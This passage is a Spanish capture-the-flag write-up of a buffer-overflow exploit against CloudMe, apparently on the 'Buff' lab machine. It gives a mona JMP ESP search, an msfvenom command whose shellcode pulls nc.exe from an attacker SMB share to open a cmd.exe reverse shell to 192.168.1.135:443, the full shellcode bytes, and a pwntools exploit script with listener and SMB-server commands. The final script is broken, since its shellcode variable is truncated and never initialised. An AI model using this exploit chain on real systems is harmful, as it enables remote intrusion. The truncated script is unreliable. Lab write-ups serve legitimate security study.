CANARY (Stack Canary)Es una técnica de seguridad que se utiliza para detectar desbordamientos de búfer. Un “canario” es un valor colocado antes de la información sensible en la memoria y si este valor cambia, indica que la memoria ha sido alterada, lo que sugiere un intento de ataque.
CANARY (Stack Canary)Es una técnica de seguridad que se utiliza para detectar desbordamientos de búfer. Un “canario” es un valor colocado antes de la información sensible en la memoria y si este valor cambia, indica que la memoria ha sido alterada, lo que sugiere un intento de ataque.
FORTIFY (Fortify Source)Es una característica de seguridad en compiladores y bibliotecas de C que ayuda a proteger contra vulnerabilidades de desbordamiento de búfer y otros problemas de seguridad. Esta característica agrega comprobaciones de seguridad automáticas al código durante la compilación.
NX (No-eXecute)Es una tecnología de hardware y una característica de seguridad que ayuda a prevenir la ejecución de código en regiones de memoria designadas como datos. Esto es útil para prevenir ataques de inyección de código, como los ataques de desbordamiento de búfer.
PIE (Position Independent Executable)Es una técnica de seguridad que compila un ejecutable de manera que su carga en memoria sea aleatoria, lo que dificulta la explotación de vulnerabilidades por parte de los atacantes al no poder predecir la ubicación exacta del código en la memoria.
RELRO (RELocation Read-Only)Es una técnica de seguridad que marca ciertas secciones de la tabla de enlace dinámico (DT) como de solo lectura después de que el enlazador ha resuelto todas las direcciones. Esto ayuda a proteger contra ataques que intentan modificar la tabla de enlace dinámico para redirigir el flujo de control del programa.

De todos los .dll que salen de CloudMe interesan los que tienen todas las protecciones en False.

JMP ESP

Entre todos los .dll que salen en false buscamos si tienen un JMP ESP (Una dirección que salte al ESP, que es donde vamos a poner el shellcode), es importante que tenga {PAGE_EXECUTE_READ}, para poder ejecutar nuestro shellcode

!mona find -s "\xFF\xE4" -m Qt5Core.dll

Después de una búsqueda entre los .dll al final el Qt5Core.dll cumple con las características

Ya tenemos la dirección para saltar al ESP: 0x68a98a6b

ShellCode

Ahora toca crear el shellcode, que va a ejecutar lo siguiente \\192.168.1.135\smb\nc.exe -e cmd.exe 192.168.1.135 443 en la máquina víctima, y nos mandara una shell a nuestra máquina de atacante.

msfvenom -a x86 -p windows/exec CMD='\\192.168.1.135\smb\nc.exe -e cmd.exe 192.168.1.135 443' -b '\x00' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 267 (iteration=0)
x86/shikata_ga_nai chosen with final size 267
Payload size: 267 bytes
Final size of python file: 1332 bytes
buf =  b""
buf += b"\xdb\xc8\xd9\x74\x24\xf4\x5b\xba\x12\xf3\x19\x43"
buf += b"\x29\xc9\xb1\x3d\x31\x53\x17\x03\x53\x17\x83\xd1"
buf += b"\xf7\xfb\xb6\x29\x1f\x79\x38\xd1\xe0\x1e\xb0\x34"
buf += b"\xd1\x1e\xa6\x3d\x42\xaf\xac\x13\x6f\x44\xe0\x87"
buf += b"\xe4\x28\x2d\xa8\x4d\x86\x0b\x87\x4e\xbb\x68\x86"
buf += b"\xcc\xc6\xbc\x68\xec\x08\xb1\x69\x29\x74\x38\x3b"
buf += b"\xe2\xf2\xef\xab\x87\x4f\x2c\x40\xdb\x5e\x34\xb5"
buf += b"\xac\x61\x15\x68\xa6\x3b\xb5\x8b\x6b\x30\xfc\x93"
buf += b"\x68\x7d\xb6\x28\x5a\x09\x49\xf8\x92\xf2\xe6\xc5"
buf += b"\x1a\x01\xf6\x02\x9c\xfa\x8d\x7a\xde\x87\x95\xb9"
buf += b"\x9c\x53\x13\x59\x06\x17\x83\x85\xb6\xf4\x52\x4e"
buf += b"\xb4\xb1\x11\x08\xd9\x44\xf5\x23\xe5\xcd\xf8\xe3"
buf += b"\x6f\x95\xde\x27\x2b\x4d\x7e\x7e\x91\x20\x7f\x60"
buf += b"\x7a\x9c\x25\xeb\x97\xc9\x57\xb6\xfd\x0c\xe5\xcd"
buf += b"\xb0\x0f\xf5\xcd\xe4\x67\xc4\x46\x6b\xff\xd9\x8d"
buf += b"\xcf\x0f\x90\x8f\x66\x98\x7d\x5a\x3b\xc5\x7d\xb1"
buf += b"\x78\xf0\xfd\x33\x01\x07\x1d\x36\x04\x43\x99\xab"
buf += b"\x74\xdc\x4c\xcb\x2b\xdd\x44\x97\x97\x10\x5e\x15"
buf += b"\x06\x62\x96\x61\x78\xb5\xf8\xa0\xb7\x80\x58\xb1"
buf += b"\xda\x88\x3c\x5b\x46\x63\xd8\xdb\xed\x5b\x0f\x7e"
buf += b"\xce\xf8\x22\xe4\x20\x9a\xc4\x81\x1c\x55\x0c\x7b"
buf += b"\x73\xa4\x58\x43\xa5\xf7\x8a\x82\x8a\xc2\xf2\xd0"
buf += b"\xd8\x1f\xf3"
Explicación parámetros
ParámetroFunción
-a x86Especifica la arquitectura del objetivo, en este caso, x86.
-p windows/execSelecciona el payload a utilizar, en este caso, windows/exec, que nos sirve para ejecutar comandos en la máquina víctima
CMD=’\192.168.1.135\smb\nc.exe -e cmd.exe 192.168.1.135 443Define el comando a ejecutar por el payload
-b ‘\x00Especifica los badchars para que msfvenom no los ponga en el shellcode, ya que no se van a interpretar
-f pythonDefine el formato de salida del shell code, en este caso python para que podamos simplemente copiar el output y pegarlo en el script sin necesidad de adaptar nada

Script final

Para finalizar la explotación del buffer overflow creamos un script basándonos en toda la información que hemos ido recopilando a lo largo de la resolución

  • ‘A’ * 1052: Primero mandamos 1052 ‘A’ para llegar al EIP
  • 0x68a98a6b: Segimos con el valor del EIP, que le pondremos la dirección para saltar al ESP
  • ‘ShellCode’: Lo último que mandamos es el shellcode.
from pwn import *
from struct import pack

offset = 1052
before_eip = b"A" * offset
eip = pack("<I", 0x68a98a6b)

buf += b"\xcc\xc6\xbc\x68\xec\x08\xb1\x69\x29\x74\x38\x3b"
buf += b"\xe2\xf2\xef\xab\x87\x4f\x2c\x40\xdb\x5e\x34\xb5"
buf += b"\xac\x61\x15\x68\xa6\x3b\xb5\x8b\x6b\x30\xfc\x93"
buf += b"\x68\x7d\xb6\x28\x5a\x09\x49\xf8\x92\xf2\xe6\xc5"
buf += b"\x1a\x01\xf6\x02\x9c\xfa\x8d\x7a\xde\x87\x95\xb9"
buf += b"\x9c\x53\x13\x59\x06\x17\x83\x85\xb6\xf4\x52\x4e"
buf += b"\xb4\xb1\x11\x08\xd9\x44\xf5\x23\xe5\xcd\xf8\xe3"
buf += b"\x6f\x95\xde\x27\x2b\x4d\x7e\x7e\x91\x20\x7f\x60"
buf += b"\x7a\x9c\x25\xeb\x97\xc9\x57\xb6\xfd\x0c\xe5\xcd"
buf += b"\xb0\x0f\xf5\xcd\xe4\x67\xc4\x46\x6b\xff\xd9\x8d"
buf += b"\xcf\x0f\x90\x8f\x66\x98\x7d\x5a\x3b\xc5\x7d\xb1"
buf += b"\x78\xf0\xfd\x33\x01\x07\x1d\x36\x04\x43\x99\xab"
buf += b"\x74\xdc\x4c\xcb\x2b\xdd\x44\x97\x97\x10\x5e\x15"
buf += b"\x06\x62\x96\x61\x78\xb5\xf8\xa0\xb7\x80\x58\xb1"
buf += b"\xda\x88\x3c\x5b\x46\x63\xd8\xdb\xed\x5b\x0f\x7e"
buf += b"\xce\xf8\x22\xe4\x20\x9a\xc4\x81\x1c\x55\x0c\x7b"
buf += b"\x73\xa4\x58\x43\xa5\xf7\x8a\x82\x8a\xc2\xf2\xd0"
buf += b"\xd8\x1f\xf3"

payload = before_eip + eip + b"\x90"*16 + buf
host, port = "127.0.0.1", 8888

r = remote(host, port)
r.sendline(payload)

Antes de ejecutarlo hay que ponerse en escucha por el puerto 443

nc -nlvp 443
Explicación parámetros
  • n: Sirve para que no haga la resolución de DNS
  • l: Habilitar modo escucha de netcat
  • v: Verbose, modo detallado de netcat
  • p: Por último la p sirve para especificar el número de puerto en el cual vamos a estar en escucha

Y también hay que abrir un servidor con samba para compartir el nc.exe

impacket-smbserver smb $(pwd) -smb2support
Explicación parámetros
  • smb: Nombre del recurso compartido
  • $(pwd): Esto devuelve el directorio en el cual estamos, y imapcket-server comparte el contenido de la ruta especificada
  • –smb2support: Habilita el soporte para el protocolo SMB2

Ejecutamos el script y… ¡Recibimos la conexión!

Ahora solo falta, envés de poner nuestra ip poner la de la máquina Buff y listo, máquina completada